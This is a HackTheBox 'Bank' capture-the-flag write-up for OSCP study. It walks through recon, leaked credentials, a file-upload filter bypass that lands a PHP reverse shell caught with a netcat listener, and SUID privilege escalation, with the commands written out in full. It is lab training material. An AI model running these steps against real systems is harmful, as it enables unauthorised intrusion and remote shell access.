Writeup: HackTheBox Bank- Without Metasploit (OSCP Prep)
Tags: cybersecurity, webdev, php
Published: 2021-08-10 17:14:23

Hello all,

Some quick updates, I decided to schedule my OSCP for early October to give me enough time to run through some more box's then move over to Proving Ground on OffSec's platform.

Now let's jump right in!!

##Command:
**nmap -sC -sV -T4 -oN nmap.txt 10.10.10.29**
1. -sC = Default Scripts
2. -sV = Probe open ports to determine service/Versions info
3. -T4 = Set timing for faster output (0-5)
4. -oN = Output to save it to a file

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mmstpgf3jczn4vc4iz5q.PNG)

##Ports Open:
1. 22 SSH OpenSSH 6.6.1p1
2. 53 ISC Bind 9.0.5-3ubuntu0
3. 80 HTTP Apache HTTPD 2.4.7

Let's run a quick Vulnerability Scan to see what we can find.

##Command:
**nmap --script vuln -T4 -oN vuln.txt 10.10.10.29**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yd4ufb06e4h21dom0a63.PNG)

So I see a DoS here but that doesn't really help us because we want to get an RCE on the box :-).

I am going to head over to the site to see what I find there...

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xo7y14yjvk5s8h9c0xgl.PNG)

Some thing I did while on the site was to check out the source and some of the directories listed but nothing too special stuck out for me.

I am going to run a **Dirb** to see if there are any hidden directories here.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3ypcwe2jixez3egcf4c4.PNG)
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nmk4pl1ahbkpds34niwr.PNG)

So both of these sites bring up a Forbidden screen. 

Let's now try using **Gobuster**.

##Command:
**gobuster dir -e -u http://10.10.10.29 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nksuxwhf6gmj0h1enn6a.PNG)

Being that port **53** is open I am going to checkout the DNS record.

##Command:
**nslookup**
**127.0.0.1**
**10.10.10.29**
**bank.htb**

If you noticed when doing a look at the IP it can't locate but when looking at **bank.htb** it comes up with the addresses.

##Command:
**dig axfr @10.10.10.29**
As we can see not too many hits...

**dig axfr bank.htb @10.10.10.29** 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nw7h6tvnp4ab0rtb0l1a.PNG)

 I am going to edit the **/etc/hosts/** and the **/etc/resolv.conf**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xqrga07z470jw34c7di3.PNG)

##Command:
**10.10.10.29 bank.htb**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2iq5apieom2l93flnn2z.PNG)

##Command:
**nano /etc/resolv.conf**
**nameserver 10.10.10.29**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6f8ucba9cwernt1hmlib.PNG)

Let's try and re-run **GoBuster**!

##Command:
**gobuster dir -e -u http://10.10.10.29 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4oopn98db4wq7dvo6cps.PNG)

After making those quick addition's we get a lot more hits. So let's go check them out. 


![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m9ioubik9u3ublxolc2q.PNG)

Clicking on the **Parent Directory** brings up a login screen for an Email and Password. I tried some dummy emails and common enumeration but it didn't work.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/43zrc6sidxomraq31v29.PNG)

Now I am going to checkout the **Balance-Transfer** directory, to see if there is anything interesting there.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6o856m6yb64bxivz2dz2.PNG)

Each of these look like specific accounts for users with their hashed Email/Passwords with their account balances. If you go down the line, each of the links provides a different account.

One thing we will do is sort by size to see if there is any differences.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6uvibv9rmel4bgerlzgo.PNG)

After doing so we see there is a **257** size .acc file here. Open it and let's take a look.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o0kqzay7onfxxj8yuzei.PNG)

Here we can see there is un-hashed account information such as:
1. Email = **chris@bank.htb**
2. Password = **!##HTBB4nkP4ssw0rd!##**

Now head back over to the login screen again and put in the creds we just found.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3gvhamczu7j3u6e58ev7.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r1ieezhdcx6uymyaanb6.PNG)

Click the **Support** link and it will bring up a way for the current user to submit Files.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c4x8s8380sni7xmfef3j.PNG)

On my **Kali** machine I create a test file to see if I can upload a file. 

##Command:
**touch test.php**

Now on your console try and upload it.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lkdgt850s7gdni7qfejy.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m3je4jr3ku3fugtwqodw.PNG)

Change it from a **php** file to a **jpg** file.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r3kw9wxagqujg4imhgaq.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dqh55oy52objrpk7i6ez.PNG)

So I did some quick GoogleFu and I didn't see any **JPG** reverse-shells. But when I inspected the page I came across this line of text.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ovhxzwjp18snsag2be5w.PNG)

So lets grab a **php-reverse-shell** then we can update the code to hopefully get a shell.

##Command:
**wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php**

**nano php-reverse-shell.php**
**Change the IP to your tun0 and the Port IP**
**chmod +x php-reverse-shell.php**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kvaocaqxex9poe4lhzwh.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lh37u1kvj68r1eckw4tf.PNG)

Now we are going to change the **php** file to a **htb** file.

##Command:
**mv php-reverse-shell.php shell.htb**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9sriwoxz0pecealctk0q.PNG)

Now let's re-upload this back to the site.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oz99uwbce7cjn15x9sos.PNG)

##Command:
**nc -nvlp 1234**

Give it a few seconds then you should get access!

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sfzt12irn3eljbdmtlo6.PNG)

Now let's upgrade the shell using the following scripts [Link](https://netsec.ws/?p=337).

##Command:
**python -c 'import pty; pty.spawn("/bin/bash")'**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oklwkpc1sl45r30v9ujn.PNG)

##Command:
**whoami**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8ule21isnahpc2hhxil.PNG)

###Priv Esc

##Command:
**Find / -perm -4000 2>/dev/null**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3pvpt93qya7v0bshgkwv.PNG)

It appears that the **Emergency** file should be able to run with the appropriate permissions.

##Command:
**cd /var/htb/bin**
**ls**
**./emergency**
**whoami**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1g9ewe8ywq5gxjqefmwq.PNG)

Now locate the Root/User **.txt** files.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iimq2il0riirm7ksxea1.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qwf07p9q4rmr11lcl7je.PNG)